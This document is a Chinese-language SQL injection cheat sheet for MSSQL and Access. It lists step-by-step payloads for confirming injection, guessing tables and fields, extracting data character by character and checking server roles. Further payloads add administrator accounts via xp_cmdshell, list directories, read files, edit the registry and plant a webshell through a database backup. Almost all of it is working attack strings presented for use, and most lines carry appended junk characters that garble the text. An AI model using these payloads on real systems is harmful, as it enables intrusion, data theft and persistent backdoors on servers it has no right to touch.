1.判断是否有注入;and 1=1 ;and 1=2 qCljo5Tq'
2.初步判断是否是mssql ;and user>0 :K-~fA%kt?
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3.注入参数是字符'and [查询条件] and ''=' { &"CH]r
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' v*;-yG&
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5.判断数据库系统 +_; l|uhT;
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;and (select count(*) from sysobjects)>0 mssql JBi*P.79^
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;and (select count(*) from msysobjects)>0 access %+j8["VEC
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 j/fzzI0@
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 l5zS
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 s$cK(S#
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9.(1)猜字段的ascii值(access) .@(6 Y<dN
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 (#Wu#F1;
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(2)猜字段的ascii值(mssql) {@+Ty]e
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 2 lj'"nm
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10.测试权限结构(mssql) MUTj-1 H6)
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 3QG7C{
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- U*22h` S
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- BI3@|,._N
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- jz
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ~/98Id}v
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- t
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;and 1=(select IS_MEMBER('db_owner'));-- Dp)=0<$y
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11.添加mssql和系统的帐户 U56G.
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;exec master.dbo.sp_addlogin username;-- 9%B\/&f
;exec master.dbo.sp_password null,username,password;-- wVEm:/;z&
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- [8T^@YN
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;exec master.dbo.xp_cmdshell 'net user username password orWbU
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- {bJ`~b9e
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- mF,Y?ax
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- |}(`kW
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12.(1)遍历目录 Hn5|B 3vN
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;create table dirs(paths varchar(100), id int) _j< K=){
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;insert dirs exec master.dbo.xp_dirtree 'c:\' ??M"6k
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;and (select top 1 paths from dirs)>0 j g8fU
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) gcdlT7F)b-
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(2)遍历目录 :,'wVS8"]
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Xq_5Qv
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 5|o6v1bM
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 '8!YD?n
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Y
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 "Zl5<
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13.mssql中的存储过程 /&
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xp_regenumvalues 注册表根键, 子键 \m(VdE
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 f&BY/ n,
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xp_regread 根键,子键,键值名 wy0tgy(' |
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 CG0
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xp_regwrite 根键,子键, 值名, 值类型, 值 7gj4j^a^]{
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 _P0T)-X\(
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 b\yXbyjZ3.
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xp_regdeletevalue 根键,子键,值名 A#.edVj.g4
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 #Y*X<L
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 K#6P}tf
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14.mssql的backup创建webshell }>>1<P<8-
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use model L
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create table cmd(str image); BXtCSfY$
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insert into cmd(str) values (''); ^q{9
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backup database model to disk='c:\l.asp'; C _'%NlJ'
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15.mssql内置函数 l3Xfc2~ 2
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;and (select @@version)>0 获得Windows的版本号 O#ai)e_uQk
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa +O8%Hm
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;and (select user_name())>0 爆当前系统的连接用户 2;k*@k-t
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;and (select db_name())>0 得到当前连接的数据库 KI)M JG:t
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16.简洁的webshell sd*p/Q|4
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use model 3x`|
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create table cmd(str image); ^]H5h ]U'
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insert into cmd(str) values (''); F0GxH?
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backup database model to disk='g:\wwwtest\l.asp';